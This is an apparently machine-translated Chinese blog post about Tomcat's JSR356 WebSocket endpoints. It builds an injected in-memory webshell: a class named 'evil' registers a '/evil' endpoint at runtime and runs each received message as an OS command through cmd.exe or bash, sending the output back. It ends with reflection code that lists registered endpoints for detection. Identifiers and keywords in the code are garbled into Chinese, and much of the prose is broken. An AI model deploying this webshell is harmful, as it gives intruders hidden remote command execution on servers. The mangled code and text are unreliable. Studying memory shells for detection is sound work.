JSR356
,Tomcat自7.0.47版本废弃了自定义的API,实现了Java WebSocket规范(JSR356)Endpoint
呼叫。端向服务端发送WebSocket招呼,建立连接后就创建一个对象。ServerEndpoint
ClientEndpoint
ServerEndpoint
Endpoint
有解方式。@ServerEndpoint
Endpoint
value
:必需,字符串类型,此端点部署的URI路径。configurator
:非必需,继承ServerEndpointConfig.Configurators之类,主要提供ServerEndpoint对象的创建扩展方式(如果使用TomcatWebSocket实现,默认是反射的创建ServerEndpoint对象)。decoders
:非必要,继承解码器的类,用户可以自定义一些消息解码器,的消息是一个对象,接收到消息可以自动解码封装成消息对象。encoders
:非,继承编码器的类,此终结者可以将使用的编码器类的排列方式,定义为解码器和编码器的好处规范使用层消息的传输。subprotocols
:非必需,String下一系列类型,用户在WebSocket协议自定义扩展一些子协议。@ServerEndpoint (值 = "/ ws /{userId}" , 编码器 = { MessageEncoder .class },解码器= { MessageDecoder .class } , configurator = MyServerConfigurator .class )
@OnOpen
建立连接时触发。@OnClose
关闭连接时触发。@OnError
发生异常时触发。@OnMessage
接收到消息时触发。Endpoint
,几个生命周期,实现两个接口,比加注解方式更麻烦@ServerEndpoint
。onMessage
需要实现接口jakarta.websocket.MessageHandler
,给端点分配URI路径需要实现接口jakarta.websocket.server.ServerApplicationConfig
。URI path
、encoders
、decoders
、configurator
等配置信息由jakarta.websocket.server.ServerEndpointConfig
管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig
。ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig 。生成器。创建(WebSocketServerEndpoint3.class ,“ /ws/{userId}” )。解码器(decoderList )。编码器(encoderList )。配置器(新的MyServerConfigurator ())。构建();
javax.servlet.ServletContainerInitializer
实现类org.apache.tomcat.websocket.server.WsSci
。ServletContainer主要主要(SCI)是ServletContainerInitial(SCI)的一个接口,用于在容器启动时通过编程注册Filter、Servlet样式以及Listener,以在里面通过web.xml配置注册。这样就开发类的web应用框架。 具体可看:Servlet3.0研究之ServletContainerInitializer接口
org.apache.tomcat.websocket.server.WsFilter
,它用于判断当前请求是否为WebSocket请求,以便更方便(所以Tomcat都可以用java-memshell- scannerWsFilter)。ServerContainer 容器 = ( ServerContainer ) 请求。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 服务器端点配置=服务器端点配置。生成器。创建(邪恶。类,“/ws” )。构建();容器。添加端点(配置);
导入 org.apache.catalina.core.StandardContext ;导入 org.apache.catalina.loader.WebappClassLoaderBase ;导入 org.apache.tomcat.websocket.server.WsServerContainer ;导入 javax.websocket.* ;导入 javax.websocket.server.ServerContainer ;导入 javax.websocket.server.ServerEndpointConfig ;导入 java.io.InputStream ;公共 类 evil 扩展 Endpoint 实现 MessageHandler 。整个< String > {
static {
WebappClassLoaderBase webappClassLoaderBase = ( WebappClassLoaderBase ) 线程。当前线程()。getContextClassLoader ();
StandardContext 标准上下文 = ( StandardContext ) webappClassLoaderBase 。获取资源()。获取上下文();
ServerEndpointConfig 构建 = 服务器端点配置。生成器。创建(邪恶。类, “/邪恶” )。构建();
WsServerContainer 属性 = ( WsServerContainer ) 标准上下文。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 尝试{属性. 添加端点(构建);// System.out.println("ok!"); }抓住(DeploymentException e ) {
throw new RuntimeException ( e );
}
}
私人 会话 会话;
public void onMessage ( String message ) {
try {
boolean iswin = System . 获取属性(“os.name” )。小写()。开始(“窗口” );
进程 执行;
if ( iswin ) {
exec = 运行时。获取运行时间()。exec ( new String []{ "cmd.exe" , "/c" , message });
} 其他 {
执行 = 运行时。获取运行时间()。exec ( new String []{ "/bin/bash" , "-c" , message });
}
输入 流 ips = exec 。获取输入流();
StringBuilder sb = new StringBuilder ();
诠释 我;
while (( i = ips . read ()) != - 1 ) {
sb . 附加((字符) i );
}
知识产权。关闭();
执行。等待();
这个。会话。获取基本远程()。sendText (某人. toString ());
} 捕捉 (异常 e ) {
e 。打印堆栈跟踪();
}
}
@Override
public void onOpen ( Session session , EndpointConfig config ) {
this . 会话 = 会话;
这个。会话。addMessageHandler (这个);
} }
公共 同步 列表< ServerEndpointConfig > getEndpointConfigs ( HttpServletRequest request ) throws Exception {
ServerContainer sc = ( ServerContainer ) request 。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 字段_configExactMatchMap = sc 。获取类()。getDeclaredField ( "configExactMatchMap" );_configExactMatchMap 。设置可访问(真);
ConcurrentHashMap configExactMatchMap = ( ConcurrentHashMap ) _configExactMatchMap 。得到(sc );
类 _ExactPathMatch = 类。forName ( "org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch" );
方法 _getconfig = _ExactPathMatch 。getDeclaredMethod ( "getConfig" );
_getconfig 。设置可访问(真);
List < ServerEndpointConfig > configs = new ArrayList <>();
迭代器<地图. 条目<字符串, 对象>> 迭代器 = configExactMatchMap 。入口集()。迭代器();
while ( iterator . hasNext ()) {
Map . 条目<字符串, 对象> 条目 = 迭代器。下一个();
ServerEndpointConfig 配置 = ( ServerEndpointConfig ) _getconfig 。调用(条目。getValue ());
配置。添加(配置);
}
返回 配置;}configs = getEndpointConfigs (请求); for ( ServerEndpointConfig cfg : configs ) {
系统。出来。println ( cfg.getPath ( ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ) ;System . 出来。println ( cfg.getEndpointClass ( ) . getClassLoader()。获取类()。getName ()) ;
系统. 出来。println ( classFileIsExists ( cfg.getEndpointClass ( ) ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ))); }
学习更多技术,关注我: